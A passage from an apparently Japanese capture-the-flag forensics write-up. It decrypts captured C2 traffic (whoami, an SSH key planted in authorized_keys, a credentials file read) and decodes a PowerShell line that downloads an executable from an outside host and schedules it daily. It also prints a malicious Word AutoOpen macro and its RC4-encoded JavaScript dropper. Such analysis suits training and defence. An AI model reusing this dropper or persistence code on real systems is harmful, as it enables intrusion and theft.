    (0, 'YdPbtpi8M11upjnkrlr/y5tLDKdQBiPWbkgDSKmFCWusn5GFkosc8AYU2M7C1+xEHdMgJ3is+7WW099YpCIArFhDNKRZxAM9GPawxOMI+w3/oimWm9Y/7pjGbcpXcC+2X1MTla0M2nvzsIKPtGeSku4npe8pPGS+fbxwXOkZ5kfZgaN33Nn+jW61VP49dslxvH47v97udYEHm8IO+f7OhCfzetKiulh3PN4tlzIB5I+PBdtDbOXnxHj+ygGW25xjyNh1Fbm2kweHL+qlFmPPtyapWYZMd85tPmRYBwevpvu9LO2tElYAcmFJwG8xc9lc9ca03ha2rIh3ioSNws9grVwFW3SjdcyqoGhcN8cr0FPgu2Q0OVKMdYprjRdEEeptdcBMybcYhHs9jcNKZu0R/pgiSbCPuONN67uF2Jw/9Ss=YdPbtpi8M11upjnkrlr/y5tLDKdQBiPWbkgDSKmFCWusn5GFkosc8AYU2M7C1+xEHdMgJ3is+7WW099YpCIArFhDNKRZxAM9GPawxOMI+w3/oimWm9Y/7pjGbcpXcC+2X1MTla0M2nvzsIKPtGeSku4npe8pPGS+fbxwXOkZ5kfZgaN33Nn+jW61VP49dslxvH47v97udYEHm8IO+f7OhCfzetKiulh3PN4tlzIB5I+PBdtDbOXnxHj+ygGW25xjyNh1Fbm2kweHL+qlFmPPtyapWYZMd85tPmRYBwevpvu9LO2tElYAcmFJwG8xc9lc9ca03ha2rIh3ioSNws9grVwFW3SjdcyqoGhcN8cr0FPgu2Q0OVKMdYprjRdEEeptdcBMybcYhHs9jcNKZu0R/pgiSbCPuONN67uF2Jw/9Ss='),
    (44, 'ghck5X9x6380mB3aBi+AY7QIEnzhNuF/pDMz9iWssDg='),
    (0, 'sTRnTjJH0S7yIPUVwWFsNxwMOMxdNiq9OXDRFrCwpPF2UhkfUF0Mw0/YGLpHMCfw'),
    (44, 'zz2ELWwzZYbeI1idIdhMwLyqZ6yatlXwAFOfNGy5QVg='),
    ## powershell command
    (0, '986ztFYX3Ksf2pHdywqpLg==')
]


for ln, enc in encs:
    if ln > 0:
        assert len(enc) == ln
    data = b64decode(enc.encode())
    cipher = AES.new(key, AES.MODE_CBC, iv=iv)
    pt = unpad(cipher.decrypt(data), 16)
    if ln > 0:
        print('> ', end='')
    else:
        print('< ', end='')
    print(pt)
    print('-' * 32)
> b'getinfo-0'
--------------------------------
< b'infoback;0;10.10.10.22|SRV01|SRV01\\svc01|Windows 10 Enterprise Evaluation|0.1.6.1'
--------------------------------
> b'procview;'
--------------------------------
< b'procview;svchost\xa62060;svchost\xa65316;ApplicationFrameHost\xa64920;csrss\xa6388;svchost\xa61372;svchost\xa6832;VBoxTray\xa62748;fontdrvhost\xa6684;services\xa6576;svchost\xa63528;lsass\xa6584;svchost\xa66872;svchost\xa61552;spoolsv\xa61748;VBoxService\xa61156;svchost\xa6760;conhost\xa64108;svchost\xa61152;dllhost\xa66864;svchost\xa62528;svchost\xa61936;Memory Compression\xa61428;RuntimeBroker\xa64692;svchost\xa64112;svchost\xa61932;svchost\xa6748;smss\xa6284;svchost\xa61140;svchost\xa66852;svchost\xa62320;MicrosoftEdge\xa65076;svchost\xa61332;svchost\xa6740;svchost\xa63888;conhost\xa64896;dwm\xa6340;java\xa66052;svchost\xa6928;svchost\xa63488;YourPhone\xa61320;svchost\xa61516;dllhost\xa64204;SearchUI\xa64664;svchost\xa6328;winlogon\xa6524;SgrmBroker\xa66628;svchost\xa62096;svchost\xa61504;cmd\xa62488;svchost\xa61304;NisSrv\xa62336;MicrosoftEdgeSH\xa65636;svchost\xa61104;browser_broker\xa64592;svchost\xa61100;svchost\xa65284;explorer\xa64052;svchost\xa61164;svchost\xa62076;svchost\xa61680;aQ4caZ\xa67148;svchost\xa6692;svchost\xa6100;dumpcap\xa63516;MsMpEng\xa62260;RuntimeBroker\xa64820;svchost\xa61272;Microsoft.Photos\xa66392;svchost\xa63436;fontdrvhost\xa6676;cmd\xa684;taskhostw\xa63628;RuntimeBroker\xa66188;RuntimeBroker\xa61384;java\xa67028;MicrosoftEdgeCP\xa65592;svchost\xa61256;svchost\xa63816;csrss\xa6464;Registry\xa668;sihost\xa63416;SecurityHealthSystray\xa63156;svchost\xa66368;svchost\xa66564;wininit\xa6456;ctfmon\xa63940;svchost\xa61636;SecurityHealthService\xa6844;svchost\xa61040;svchost\xa62024;svchost\xa66980;svchost\xa61628;svchost\xa61824;svchost\xa61288;wlms\xa62216;RuntimeBroker\xa65564;svchost\xa65364;svchost\xa61620;svchost\xa62012;svchost\xa6396;svchost\xa66540;RuntimeBroker\xa66780;WindowsInternal.ComposableShell.Experiences.TextInput.InputApp\xa62200;svchost\xa61604;svchost\xa6788;svchost\xa61400;uhssvc\xa66824;SearchIndexer\xa65532;svchost\xa64940;svchost\xa63560;svchost\xa61392;svchost\xa61588;svchost\xa61784;wrapper\xa62176;svchost\xa62568;ShellExperienceHost\xa64536;System\xa64;conhost\xa62368;OneDrive\xa61184;svchost\xa61472;Idle\xa60;'
--------------------------------
> b'cmd;C:\\;hostname'
--------------------------------
< b'cmd;C:\\;srv01\r\n'
--------------------------------
> b'cmd;C:\\;whoami'
--------------------------------
< b'cmd;C:\\;srv01\\svc01\r\n'
--------------------------------
> b'cmd;C:\\;echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwyPZCQyJ/s45lt+cRqPhJj5qrSqd8cvhUaDhwsAemRey2r7Ta+wLtkWZobVIFS4HGzRobAw9s3hmFaCKI8GvfgMsxDSmb0bZcAAkl7cMzhA1F418CLlghANAPFM6Aud7DlJZUtJnN2BiTqbrjPmBuTKeBxjtI0uRTXt4JvpDKx9aCMNEDKGcKVz0KX/hejjR/Xy0nJxHWKgudEz3je31cVow6kKqp3ZUxzZz9BQlxU5kRp4yhUUxo3Fbomo6IsmBydqQdB+LbHGURUFLYWlWEy+1otr6JBwpAfzwZOYVEfLypl3Sjg+S6Fd1cH6jBJp/mG2R2zqCKt3jaWH5SJz13 HTB{c0mmun1c4710n5 >> C:\\Users\\svc01\\.ssh\\authorized_keys'
--------------------------------
< b'cmd;C:\\;'
--------------------------------
> b'cmd;C:\\;dir C:\\Users\\svc01\\Documents'
--------------------------------
< b'cmd;C:\\; Volume in drive C is Windows 10\r\n Volume Serial Number is B4A6-FEC6\r\n\r\n Directory of C:\\Users\\svc01\\Documents\r\n\r\n02/28/2024  07:13 AM    <DIR>          .\r\n02/28/2024  07:13 AM    <DIR>          ..\r\n02/28/2024  05:14 AM                76 credentials.txt\r\n               1 File(s)             76 bytes\r\n               2 Dir(s)  24,147,230,720 bytes free\r\n'
--------------------------------
> b'cmd;C:\\;type C:\\Users\\svc01\\Documents\\credentials.txt'
--------------------------------
< b'cmd;C:\\;Username: svc01\r\nPassword: Passw0rdCorp5421\r\n\r\n2nd flag part: _h45_b33n_r357'
--------------------------------
> b'lsdrives'
--------------------------------
< b'lsdrives;C:\\|'
--------------------------------
> b'lsfiles'
--------------------------------
> b'lsfiles-C:\\'
--------------------------------
> b'lsfiles-C:\\'
--------------------------------
< b'lsfiles;C:\\;$Recycle.Bin\xa62|BGinfo\xa62|Boot\xa62|Documents and Settings\xa62|PerfLogs\xa62|Program Files\xa62|Program Files (x86)\xa62|ProgramData\xa62|Recovery\xa62|System Volume Information\xa62|temp\xa62|Users\xa62|Windows\xa62|bootmgr\xa61\xa6408364|BOOTNXT\xa61\xa61|BOOTSECT.BAK\xa61\xa68192|bootTel.dat\xa61\xa680|pagefile.sys\xa61\xa6738197504|swapfile.sys\xa61\xa6268435456|'
--------------------------------
> b'lsfiles-C:\\temp\\'
--------------------------------
< b'lsfiles;C:\\temp\\;aQ4caZ.exe\xa61\xa629184|'
--------------------------------
> b'upfile;C:\\temp\\4AcFrqA.ps1'
--------------------------------
< b'upfilestop;'
--------------------------------
  • authorized_kyes に FLAG の先頭
    HTB{c0mmun1c4710n5
    
    が書き込まれている.
  • credentials.txt を表示したパスワードの中に FLAG の 2 番目の部分
    _h45_b33n_r357
    
    がある.

フィルタリングした TCP Stream の途中に一つだけ Base64 でエンコードされた Powershell のコードがあったので読む.

powershell.exe -encoded "CgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwBpAG4AZABvAHcAcwBsAGkAdgBlAHUAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8AMQBuAF8ANwBoADMAXwBoADMANABkAHEAdQA0AHIANwAzAHIANQB9ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMACgA="
AcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8
└─< echo CgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwBpAG4AZABvAHcAcwBsAGkAdgBlAHUAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8AMQBuAF8ANwBoADMAXwBoADMANABkAHEAdQA0AHIANwAzAHIANQB9ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMACgA= | base64 -d

(New-Object System.Net.WebClient).DownloadFile("https://windowsliveupdater.com/4fva.exe", "C:\Users\svc01\AppData\Roaming\4fva.exe")

$action = New-ScheduledTaskAction -Execute "C:\Users\svc01\AppData\Roaming\4fva.exe"

$trigger = New-ScheduledTaskTrigger -Daily -At 2:00AM

$settings = New-ScheduledTaskSettingsSet

# 3th flag part:

Register-ScheduledTask -TaskName "0r3d_1n_7h3_h34dqu4r73r5}" -Action $action -Trigger $trigger -Settings $settings

この中に FLAG の最後の部分がある.

0r3d_1n_7h3_h34dqu4r73r5}

Game Invitation (hard)

In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: "Join The Fray: Embrace the Challenge." But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?

oleid でとりあえず調べる.

└─< oleid invitation.docm 
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
oleid 0.60.1 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

Filename: invitation.docm
WARNING  For now, VBA stomping cannot be detected for files in memory
--------------------+--------------------+----------+--------------------------
Indicator           |Value               |Risk      |Description               
--------------------+--------------------+----------+--------------------------
File format         |MS Word 2007+ Macro-|info      |                          
                    |Enabled Document    |          |                          
                    |(.docm)             |          |                          
--------------------+--------------------+----------+--------------------------
Container format    |OpenXML             |info      |Container type            
--------------------+--------------------+----------+--------------------------
Encrypted           |False               |none      |The file is not encrypted 
--------------------+--------------------+----------+--------------------------
VBA Macros          |Yes, suspicious     |HIGH      |This file contains VBA    
                    |                    |          |macros. Suspicious        
                    |                    |          |keywords were found. Use  
                    |                    |          |olevba and mraptor for    
                    |                    |          |more info.                
--------------------+--------------------+----------+--------------------------
XLM Macros          |No                  |none      |This file does not contain
                    |                    |          |Excel 4/XLM macros.       
--------------------+--------------------+----------+--------------------------
External            |0                   |none      |External relationships    
Relationships       |                    |          |such as remote templates, 
                    |                    |          |remote OLE objects, etc   
--------------------+--------------------+----------+--------------------------

└─< olevba -c invitation.docm 
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.1 on Python 3.10.12 - http://decalage.info/python/oletools
===============================================================================
FILE: invitation.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas 
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(snip...) 

VB のコードが見つかる.

Public IAiiymixt As String
Public kWXlyKwVj As String


Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
JFqcfEGnc = True
End Function

Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True
Set aMUsvgOin = Nothing
End Sub

Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then

Else

Dim gIvqmZwiW
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
gIvqmZwiW = FreeFile
Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
Dim CbkQJVeAG() As Byte
ReDim CbkQJVeAG(file_length)
Get #gIvqmZwiW, 1, CbkQJVeAG
Dim SwMbxtWpP As String
SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
    Set vTxAnSEFH = CreateObject("vbscript.regexp")
    vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
    Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
Open (IAiiymixt) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End If
End Sub

読んでいくと,ファイル自身の sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa を Base64 でデコードしたデータの位置を探して,そこから 81 バイト後ろから,13082 + 1 バイトだけ取り出して,JFqcfEGnc 関数で処理して,mailform.js に書き込んでいる.
そして,引数に vF8rdgMHKBrvCoCp0ulm を与えて,この JavaScript のコードを実行している.

def JFqcfEGnc(data):
    res = list(data)
    xor_key = 45
    for i in range(len(res)):
        res[i] = res[i] ^ xor_key
        xor_key = (xor_key ^ 99) ^ (i % 254)
    return bytes(res)

f = open('./invitation.docm', 'rb')
file_contents = f.read()
file_length = len(file_contents)
f.close()

for idx in range(file_length):
    if file_contents[idx:].startswith(b'sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa'):
        break

Wk4o3X7x1134j = file_contents[idx - 1 + 81:][:13082 + 1]
Wk4o3X7x1134j = JFqcfEGnc(Wk4o3X7x1134j)

f = open('mailform.js', 'w')
f.write(Wk4o3X7x1134j.decode())
f.close()

arg = 'vF8rdgMHKBrvCoCp0ulm'

得られた実行ファイルの引数を受け取る処理と,evalconsole.log に書き換えると以下のようになる.

// var lVky = WScript.Arguments;
// var DASz = lVky(0);
var DASz = 'vF8rdgMHKBrvCoCp0ulm';
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
// eval(Iwlh);
console.log(Iwlh)

function af5Q(r) {
    var a = r.charCodeAt(0);
    if (a === 43 || a === 45) return 62;
    if (a === 47 || a === 95) return 63;
    if (a < 48) return -1;
    if (a < 48 + 10) return a - 48 + 26 + 26;
    if (a < 65 + 26) return a - 65;
    if (a < 97 + 26) return a - 97 + 26
}

function JrvS(r) {
    var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var t;
    var l;
    var h;
    if (r.length % 4 > 0) return;
    var u = r.length;
    var g = r.charAt(u - 2) === "=" ? 2 : r.charAt(u - 1) === "=" ? 1 : 0;
    var n = new Array(r.length * 3 / 4 - g);
    var i = g > 0 ? r.length - 4 : r.length;
    var z = 0;

    function b(r) { n[z++] = r }
    
    for (t = 0, l = 0; t < i; t += 4, l += 3) {
        h = af5Q(r.charAt(t)) << 18 | af5Q(r.charAt(t + 1)) << 12 | af5Q(r.charAt(t + 2)) << 6 | af5Q(r.charAt(t + 3));
        b((h & 16711680) >> 16);
        b((h & 65280) >> 8);
        b(h & 255)
    }
    
    if (g === 2) {
        h = af5Q(r.charAt(t)) << 2 | af5Q(r.charAt(t + 1)) >> 4;
        b(h & 255)
    } else if (g === 1) {
        h = af5Q(r.charAt(t)) << 10 | af5Q(r.charAt(t + 1)) << 4 | af5Q(r.charAt(t + 2)) >> 2;
        b(h >> 8 & 255);
        b(h & 255)
    }

    return n
}
    
function xR68(r, a) {
    var t = [];
    var l = 0;
    var h;
    var u = "";
    for (var g = 0; g < 256; g++) { t[g] = g }
    
    for (var g = 0; g < 256; g++) {
        l = (l + t[g] + r.charCodeAt(g % r.length)) % 256;
        h = t[g];
        t[g] = t[l];
        t[l] = h
    }
    
    var g = 0;
    var l = 0;
    for (var n = 0; n < a.length; n++) {
        g = (g + 1) % 256;
        l = (l + t[g]) % 256;
        h = t[g];
        t[g] = t[l];
        t[l] = h;
        u += String.fromCharCode(a[n] ^ t[(t[g] + t[l]) % 256])
    } 
    return u
}

function lyEK() {
    var r = "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